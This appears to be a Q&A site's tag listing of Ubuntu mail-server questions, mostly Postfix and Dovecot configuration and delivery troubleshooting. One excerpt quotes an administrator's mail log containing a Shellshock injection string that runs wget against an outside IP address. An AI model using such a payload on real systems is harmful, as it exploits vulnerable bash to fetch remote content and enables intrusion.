Open source email server for Unix

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Cannot authenticate with SMTP server

I've followed a tutorial I've found for installing a mail server. I'm using Ubuntu 14.04.1 So far, all I've had to change was the /etc/postfix/main.cf file, as per a comment from the article. ...
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1answer
20 views

Why can't I get a telnet localhost 25, ehlo localhost output of 250-AUTH?

How do I get a telnet localhost 25 output of 250-AUTH LOGIN? Similar to the questions asked here and here, I set up a Postfix-Dovecot mail server using Ubuntu 12.04LTS and can not get it to ...
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1answer
4k views

Setting up Postfix with amavisd-new, spamassassin, clamav, and SPF checking?

I am working on learning how to setup a mail server and have a question regarding the use of mail filters with Postfix. I am looking at the following guide (as well as a similar guide on the Ubuntu ...
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1answer
26 views

Dovecot doesn't start

I've installed Postfix and it works correctly. I've installed Dovecot and set it's configurations too. But when I try service dovecot start it terminates on startup. Here is the end of syslog: Nov 19 ...
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1answer
11 views

Dovecot delivery issue

I'm using fictional email address [email protected] for this case. testuser is a local account on my ubuntu Server 14.04. I have a fully functional email server set up using postfix and dovecot ...
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17 views

i cannot read emails on thunderbird i am using ubuntu 12.04 server postfix dovecot

i cannot read emails on thunderbird i am using ubuntu 12.04 server postfix dovecot i am using pop3 port 110 and smtp port 587 i can send emails to external emails i can receive emails on the server ...
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74 views

DKIM config for multidomain : message not signed

I’m trying to setup DKIM for a multidomain server. Everything looks fine BUT the messages are not signed. I followed How To Install and Configure DKIM with Postfix on Debian Wheezy tutorial and ...
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21 views

Dovecot stuck in stop/waiting

im trying to build a mail server (postfix + dovecot). after the installation, tried to check if dovecot is working by : service dovecot status: start/prestart statement. the only thing i did was ...
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1answer
31 views

email - Postfix name issue with using $header “name <email>”

I've set up Postfix on my Ubuntu+Nginx machine to send mail and I'm running in to one issue. The issue is that the from name is www-data with the email ...
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2answers
36 views

how to sent mail from my Ubuntu server

I am a beginner in mail server. I want to set up my own mail server so that I can send mail from my server to anyone. I have also installed postfix. How do I set this up? What do I need? How do I ...
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1answer
3k views

Cannot open mailbox /var/mail/USER: Permission denied No mail for USER

When i run the command. su - fmaster mail I get the error: Cannot open mailbox /var/mail/fmaster: Permission denied No mail for fmaster also i sign in as fmaster. terminal -> mail. ...
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90 views

Shellshock attempt in maillog

I just crawled through my logs and have found about this: Oct 24 11:26:37 hostname postfix/cleanup[2532]: 86A1B7E00A3: message-id=() { :; }; wget 185.10.58.181/VULNERABLE; Oct 24 11:26:37 hostname ...
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13 views

Can postfix receive emails on it's own?

I am configuring a Postfix server right now and want to clear up some things I am not quite sure about. For what I know Postfix is a MTA (Mail Transfer Agent) that can send and receive emails. That ...
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14 views

Dovecot mail delivery location issue

I just setup a mail server on my digitalocean.com droplet. It is using postfix, dovecot & mbox. I have it configured in gmail and it is sending and receiving. The problem though, is that when a ...
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1answer
43 views

Postfix can send but not receive mail

I just finished following this tutorial to set up a postfix mail server on ubuntu 14.04: https://www.digitalocean.com/community/tutorials/how-to-install-and-setup-postfix-on-ubuntu-14-04 When I ...
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37 views

Postfix - Cannot receive emails

I'm trying with no success to setup Postfix on my server so I need some help (first timer here). Basically I cannot receive emails from anywhere. If I send an email to myself or to another address ...
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3answers
256 views

Postfix/ Dovecot and MySQL

I have an issue in authenticating users using postfix/ dovecot with mysql at ubuntu LTS. Outlook connected to the server but got error for authentication. below is posfix configuration settings: ...
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2answers
85 views

How to make crontab email me with output?

How can I make crontab email me with the output of its jobs? I have MAILTO=[email protected] above the jobs, but it doesn't work. I know I need to use something like Postfix or Sendmail but for ...
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1answer
440 views

postfix warning messages: override earlier entry

I have configured postfix with satellite configuration. I found the following warnings in my syslog. Any idea what it means? and How could I resolve this problem? Jul 16 13:39:24 mou-lanister ...
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1answer
834 views

Postgrey - how to add sending server to whitelist to disable greylisting

I'm using postgrey on all my MX servers (main and 2 backups). I need to disable greylisting on a main server when receiving mails from backup server. How to do that? When I add IP/FQDN to ...
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19 views

Postfix has stopped logging

After hearing about the BASH bug a week ago I decided to update my whole server using apt-get update && apt-get upgrade Today I have noticed that postfix has stopped logging my mail ...
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55 views

Does someone have access to my server's postfix?

How can Google recieve emais originating from my servers IP address, unless an attacker has access? So how do I prevent an attacker from getting access? I'm very lost... short log from ...
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1answer
200 views

Fatal: No SASL authentication mechanism

root@server:~# postconf -n append_dot_mydomain = no biff = no broken_sasl_auth_clients = yes config_directory = /etc/postfix disable_vrfy_command = yes ...
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1answer
263 views

Postfix 2.11.0, Error Code: Relay access denied 554.5.7.1, Rejects all external in-bound emails

Some TLC needed here. I am building this postfix/dovecot/clamav mail server following the tutorial here: https://www.exratione.com/2014/05/a-mailserver-on-ubuntu-1404-postfix-dovecot-mysql/ The issue ...
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46 views

How to add a sender header to emails sent by postfix 2.11

I'm not getting a reply after sending a mail to [email protected] which I need to verify that my domain richtercloud.de served by a postfix 2.11 server on Ubuntu 14.04 can be used for ...
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2answers
93 views

postfix/submission/smtpd Relay Access Denied

Getting error 'Relay access denied' At outlook, set port 587 for smtp and 993 for imap at Ubunut LTS. My configuration is: root@server:~# postconf -n append_dot_mydomain = no biff = no ...
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1answer
2k views

Postfix Using Gmail Relay: Must issue a STARTTLS command first

I get this error: Must issue a STARTTLS command first with all sent mail. Can anyone see why? main.cf: relayhost=[smtp.gmail.com]:587 smtp_connection_cache_destinations= [smtp.gmail.com]:587 #TLS ...
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25 views

Configure cron to include FQDN in email

We have machines named like so: serverA.subdomainA.TLD.co serverA.subdomainB.TLD.co Works fine for us, except when I get an email from cron, the messages looks like: From: [email protected] ...
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60 views

Postfix Joomla Mail Configuration

Hello I am trying to setup mail configuration for Joomla. My server has postfix/dovecot installed and working. (I can receive and send mails globally). I can send an e-mail successfully (I received ...
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2answers
1k views

Perfect forward secrecy in Ubuntu 14.04 default installation

Does Ubuntu 14.04 support and enable perfect forward secrecy ciphers in the default TLS configuration of servers such as nginx, dovecot and postfix? Previous versions of Ubuntu such as 12.04 did not ...
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72 views

Corrupt PostFix Installv

I accidently removed some files that postfix needs and now it will not install or uninstall have tried: sudo apt-get purge postfix sudo apt-get remove postfix sudo apt-get upgrade sudo apt-get ...
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93 views

Postfix does not store mail in Maildir/ format even though home_mailbox is set to Maildir/

The following problem occurs on a simple mail server for testing purposes. It consists of a Postfix and Dovecot installation and is meant to deliver mails from a client to local accounts living on the ...
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3answers
2k views

Local only sendmail that delivers all mail to a directory

I have a development Ubuntu Server (12.04.1) VM that I use to develop php sites and e-commerce sites (like Magento etc). Because this is for development purposes, and I need to test with e-mail ...
4
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2answers
3k views

Using Movemail with Thunderbird on Ubuntu

I'm trying to read local mail with Thunderbird on Ubuntu (with both 12.04 and 13.04). I've followed the instructions found here: How can I access system mail in /var/mail/ via thunderbird? I can read ...
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2answers
244 views

Missing X-Spam-Status header

I recently upgraded to Ubuntu 14.04.1 LTS (trusty) and have followed the directions in https://help.ubuntu.com/14.04/serverguide/mail-filtering.html and am sending and receiving mail just fine. While ...
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74 views

How to configure Postfix, stunnel for AWS SES?

I have been trying to set up SES on our EC2 running ubuntu. I have followed the instructions on their docs page but not able to figure out what's wrong. I'm a newbie that's why i'm looking for a ...
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1answer
41 views

POSTFIX+OPENDKIM : How to reject untrusted domains without keeping mails in queue?

We needed to create a smtp server for our webapps. This server turns Under Ubuntu with Postfix and Opendkim. We have 40 domains with 40 DKIM keys. My config is the same as described here : ...
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66 views

Joomla with postfix php mail not working

I am getting this error in mail.log (after trying to submit a contact form): fatal: Recipient addresses must be specified on the command line or via the -t option Its worth mentioning that I have ...
5
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2answers
8k views

Problem using Postfix with Sendmail

I've sendmail installed using "apt-get install sendmail" and also postfix installed using Webmin. But Postfix cannot start, and when I checked the /var/log/mail.err *Jul 11 14:09:03 victoria ...
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35 views

Need help with Postfix canonical mapping

I’m having difficulty getting the canonical_maps function to work as needed to repair some incorrect addresses from a legacy client. Here’s the situation and what I’ve tried so far: Legacy client ...
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0answers
120 views

Ubuntu Zpanel Unable to receive e-mail

I am able to send e-mail from my zpanel mailboxes but am unable to receive any e-mails. I get this error from gmail when I try to send e-mail to my mailboxes: mail exchanger not found. My domain ...
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0answers
20 views

postfix sasl auth on Ubuntu server

I can connect to the mail server over telnet and send messages to local users without authentication. Is it the reject_unauth_destination parameter that permits this? What is the recommended practice ...
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0answers
54 views

Help by installing mail server with virtual host

04 and I find a lot of articles about installing mail server on Ubuntu but it is not working. Can you help me with some tutorial? I want to install and configure my own mail server with virtual users. ...
2
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2answers
1k views

using DNS lookup in chroot postfix

I'm trying to set up a postfix set up on my client machines. All machines should use a central ldap directory for common postfix (e.g. aliases, etc). But since postfix runs in chroot postfix is unable ...
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4answers
4k views

Postfix start error Port 25: Address already in use

I'm attempting to get postfix running on my server but keep getting the following error in my /var/log/mail.log: postfix/master[5041]: fatal: bind 0.0.0.0 port 25: Address already in use I did ...
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1answer
29 views

Is there an email package that has a easy to use GUI?

I finally got Postfix installed and running, but adding / removing users etc isnt as easy as a web based tool. Is there any software packages I could install that would make managing email easier for ...
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175 views

mail delivery errors - ssmtp, mailutils, postfix

Afternoon everyone, I do not run a mail server. I am only trying to send an email with an attachment via a bash script. I have been working for the past couple of days to get this up and running. ...
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0answers
397 views

PHP mail not working on Ubuntu server

I have set up a development server using Ubuntu Server. I have configured postfix to send mail and I am able to send mail through the command line using for example: echo testing | mail -s Bla ...
2
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1answer
47 views

A question on mysql command

I want to config postfix. I followed these instructions. On the first step I saw this mysql command: mysql > GRANT SELECT ON servermail.* TO 'usermail'@'127.0.0.1' IDENTIFIED BY 'mailpassword'; ...
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0answers
23 views

Postfix/Dovecot issue

I installed Postfix/Dovecot locally on Ubuntu server, I can mail from Ubuntu server to any user in my local users database (/etc/passwd) and I can receive messages well (by using mail command). On MUA ...